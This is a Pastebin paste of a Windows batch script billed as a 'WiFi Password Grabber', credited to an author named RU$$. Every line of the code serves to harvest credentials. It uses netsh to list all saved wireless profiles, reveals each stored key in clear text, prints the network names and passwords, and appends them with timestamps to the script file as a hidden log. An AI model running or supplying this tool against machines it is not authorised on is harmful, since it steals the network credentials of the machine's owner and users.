Imthedude025

WiFi Password Grabber (Batch)

Nov 13th, 2018
187
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  2. ::WiFi Password Grabber Via Batch ::
  3. ::Created by RU$$ [http://russdev.mooo.com/] ::
  4. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  5. @ECHO OFF
  6. @TITLE WiFi Password Grabber
  7.  
  8. Rem | Create Log Gap
  9. echo( >>"%~f0"
  10.  
  11. Rem | Grab all profiles
  12. for /f "tokens=4,* skip=4" %%a in ('netsh wlan show profile') do (
  13.  
  14. Rem | Grab key for each profile
  15. for /f "tokens=*" %%c in ('netsh wlan show profile "%%b" key^=clear') do (
  16.  
  17. Rem | Grab only key
  18. for /f "tokens=3,*" %%d in ('echo %%c^| find /i "Key Content"') do (
  19.  
  20. Rem | Display & Record key
  21. echo [WIFI-NAME: %%b] [CURRENT-PASSWORD: %%e]
  22. echo Rem ^| [WIFI-NAME: %%b] [CURRENT-PASSWORD: %%e] [%date% %time%]>>"%~f0"
  23.  
  24. )
  25. )
  26. )
  27.  
  28. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  29. :: LOG
RAW Paste Data